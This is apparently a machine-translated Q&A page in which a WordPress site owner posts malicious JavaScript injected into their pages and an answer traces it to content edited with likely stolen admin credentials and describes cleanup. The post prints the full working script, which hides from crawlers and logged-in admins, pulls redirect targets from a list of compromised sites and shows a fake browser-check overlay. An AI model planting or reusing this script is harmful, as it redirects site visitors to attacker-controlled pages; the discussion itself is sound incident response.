2016-12-06 2 views
4
(function() { 
    //<script> 
    var w_location = null; 

    var domains = [ 
     'http://kntsv.nl/images/tmp.php', 
     'http://grimhoj.dmcu.dk/modules/mod_xsystem/tmp.php', 
     'http://langedijke.nl/plugins/tmp.php', 
     'http://megateuf.edelo.net/cgi-bin/tmp.php', 
     'http://www.icanguri.com/modules/mod_xsystem/tmp.php', 
     'http://www.pflege-tut-gut.de/wp-content/plugins/tv1/tmp.php', 
     'http://yofeet.com/drupal/modules/tmp.php', 
     'http://squash-moyennedurance.fr/modules/mod_xsystem/tmp.php', 
     'http://www.devonportmotors.co.nz/images/tmp.php' 
    ]; 

    function getDomainName(domain) { 
     var xhr = new XMLHttpRequest(); 
     xhr.onreadystatechange = function() { 
      if (xhr.readyState == XMLHttpRequest.DONE) { 
       if (xhr.responseText && xhr.responseText.trim().length > 0) { 
        w_location = xhr.responseText.trim(); 
       } 
      } 
     }; 
     xhr.open('GET', domains[0], true); 
     xhr.send(); 
    } 

    for (var i = 0; i < domains.length; i++) { 
     getDomainName(domains[i]); 
    } 

    function start() { 

     var from = document.referrer; 
     var i; 

     // If it's direct 
     var eee = ["", " "]; 

     var se = ["google", "yahoo", "bing", "yandex", "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"]; 


     if (checkCookie()) { 
      return; 
     } 
     var uagent = navigator.userAgent; 
     if (!uagent || uagent.length == 0) { 
      return; 
     } 
     uagent = uagent.toLowerCase(); 
     if (uagent.indexOf('google') != -1 || uagent.indexOf('bot') != -1 
      || uagent.indexOf('crawl') != -1) { 

     } else { 
      hideWebSite(); 
     } 

     function getCookie(c_name) { 
      var c_value = document.cookie; 
      var c_start = c_value.indexOf(" " + c_name + "="); 
      if (c_start == -1) { 
       c_start = c_value.indexOf(c_name + "="); 
      } 
      if (c_start == -1) { 
       c_value = null; 
      } 
      else { 
       c_start = c_value.indexOf("=", c_start) + 1; 
       var c_end = c_value.indexOf(";", c_start); 
       if (c_end == -1) { 
        c_end = c_value.length; 
       } 
       c_value = unescape(c_value.substring(c_start, c_end)); 
      } 
      return c_value; 
     } 

     function setCookie(c_name, value, exdays) { 
      var exdate = new Date(); 
      exdate.setDate(exdate.getDate() + exdays); 
      var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString()); 
      document.cookie = c_name + "=" + c_value; 
     } 

     function checkCookie() { 
      if (localStorage.getItem('yYjra4PCc8kmBHess1ib') === '1') { 
       return true; 
      } else { 
       localStorage.setItem('yYjra4PCc8kmBHess1ib', '1'); 
      } 
      var referrerRedirectCookie = getCookie("referrerRedirectCookie"); 
      if (referrerRedirectCookie != null && referrerRedirectCookie != "") { 
       return true; 
      } else if (document.cookie.indexOf('wordpress_logged') !== -1 
       || document.cookie.indexOf('wp-settings') !== -1 
       || document.cookie.indexOf('wordpress_test') !== -1) { 
       return true; 
      } else { 
       setCookie("referrerRedirectCookie", "do not redirect", 730); 
       return false; 
      } 
     } 

    } 


    function createPopup() { 
     var popup = document.createElement('div'); 
     popup.style.position = 'absolute'; 
     popup.style.width = '100%'; 
     popup.style.height = '100%'; 
     popup.style.left = 0; 
     popup.style.top = 0; 
     popup.style.backgroundColor = 'white'; 
     popup.style.zIndex = 99999; 
     document.body.appendChild(popup); 

     popup.onclick = function() { 
      var intervalId = setInterval(() = > { 
        if (
      !w_location 
      ) 
      { 
       return; 
      } 
      clearInterval(intervalId); 
      window.location = w_location; 
     }, 
      10 
      ) 
      ; 

     }; 

     var p = document.createElement('p'); 
     p.innerText = "Checking your browser before accessing " 
      + window.location.host + "..."; 
     p.style.textAlign = 'center'; 
     //p.style.margin = '20px auto'; 
     //p.style.left = '20px'; 
     p.style.fontSize = 'x-large'; 
     p.style.position = 'relative'; 
     p.textContent = p.innerText; 
     popup.appendChild(p); 

     return popup; 
    } 

    function createButton() { 
     var button = document.createElement('div'); 
     button.style.position = 'absolute'; 
     button.style.top = '20%'; 
     button.style.left = '10%'; 
     button.style.right = '10%'; 
     button.style.width = '80%'; 
     button.style.border = "1px solid black"; 
     button.style.textAlign = 'center'; 
     button.style.verticalAlign = 'middle'; 
     button.style.margin = '0, auto'; 
     button.style.cursor = 'pointer'; 
     button.style.fontSize = 'xx-large'; 
     button.style.borderRadius = '5px'; 
     button.onclick = function() { 
      window.location = w_location; 
     }; 
     button.onmouseover = function() { 
      button.style.border = '1px solid red'; 
      button.style.color = 'red'; 
     }; 
     button.onmouseout = function() { 
      button.style.border = '1px solid black'; 
      button.style.color = 'black'; 
     }; 

     button.innerText = "Continue"; 
     button.textContent = button.innerText; 
     return button; 
    } 

    var hideWebSite = function() { 
     var popup = createPopup(); 
     var button = createButton(); 
     popup.appendChild(button); 

    }; 

    var readyStateCheckInterval = setInterval(function() { 
     if (document.readyState === 'complete' 
      || document.readyState == 'interactive') { 
      clearInterval(readyStateCheckInterval); 
      start(); 
     } 
    }, 10); 
    //</script> 


}) 

コード全体でgrepを試しましたが、何も見つかりませんでした。完全なデータベースのMySQLダンプを取得しましたが、そこに何も見つかりませんでした。WordPressで不審なコードを削除する方法はありますか?

私はclamscanを実行しましたが、問題は見つかりませんでした。疑問はVisual Composerですが、Visual Composerでgrepするとこのコードは表示されません。

UPDATE

これは、感染したときにサイトが表示するものである:

enter image description here

あなたが行くことによって(あってはならないオーバーレイ、)そのメッセージとボタンのソースを確認することができますChromeデベロッパーコンソールに接続し、変数ZJPMAWHWOEの値を参照してください。これはJSコードの束を提供しますが、変数ではコードが実行されて解読されると暗号化されます。 e。

あなたがウェブサイトhttps://sitecheck.sucuri.net/に行って、自分のサイトをチェックしている場合、あなたは彼らからの感染の警告を取得します。さらに調査時

enter image description here

+1

あなたはその疑わしいことをどうやって知っていますか?また、このコードが格納されている場所、ファイル名などに関する詳細情報 http://stackoverflow.com/help/how-to-ask – garfbradaz

+2

一部のコードは間違いなく疑いがあります。どうやって分かったの。別のファイルまたはインラインとしてロードされていますか? –

+2

最初にどのようになったのかを知る必要があります。 – vico

答えて

3

我々は次を見つけた:

で指摘したようにOPなどのコメントでは、感染したコードの痕跡(暗号化または復号化されたもの)について、同じサーバー内のWebサイトのファイルや他のサイトのファイルにGREPを実行しても、結果は得られませんでした。その形式ではない)。

私たちは私たちの「法的」免責事項を持っている私達のページの一番下にいくつかの余分なゴミ文字を気づい:

enter image description here

は、感染症(および/またはごみを持っていたもの、最終的なHTMLの一部突き止め文字)、我々の場合のためにZJPMAWHWOE

enter image description here

Efectively JS変数を探して、スクリプトコードが存在しました私たちにとっては、WordPressのページの1つに存在する「合法的な」ページであった既知のHTMLファイルです。

これはコードがWordPressで直接編集されたページの内側にあることを示していました。

enter image description here

そして、スクロールダウンしながら(テキストビューでは、ページの生のHTMLを取得する):私たちは中行き、法律上のページをチェックし、そこにそれを発見した(最初の同じガベージ文字に気づい)我々はこれになった:私たちは、サイトの他のページと投稿をチェックし、同じ注入されたコードは、それらの中に存在していた

enter image description here

私たちがそれらをきれいにすると、すべての感染はなくなったようです。

これで攻撃はどのように達成されましたか?私たちの理論は、WordPressユーザーの資格情報を取得し、ページ/投稿を編集することだけです。私たちの場合、/ wp-adminログインページはHTTPSで保護されていないため、ユーザーとパスワードを簡単に盗聴することができるため、かなり簡単でした。私たちはそれがユーザーの資格情報を得て、その後悪質なコードを追加するためにページ/投稿を編集する方法だと考えています。我々はまた、次のようでしたクリーンアップに加え

システムのパスワードデータベース
  • はWordPressからすべてのユーザーを削除した更新
    • 。私たちは、そこだけにadmin 'と、ユーザーの管理者'と私のユーザーのための
    • 更新パスワード(両方の管理者の役割を持つ)私のユーザーに残され
    • ブログの編集者のための新しいパスワードと
    • 再作成、ユーザー
    • 進行中

    :wp-adminにログインするたびに送信されるユーザー/パスワード情報を保護するために、WordPress用にHTTPSを取得しています。

    WordPressのセキュリティを強化する方法や、ページ/投稿内に悪意のあるコードをどのように注入したのかについての他の理論については、他にもお勧めしたいと思います。

  • 関連する問題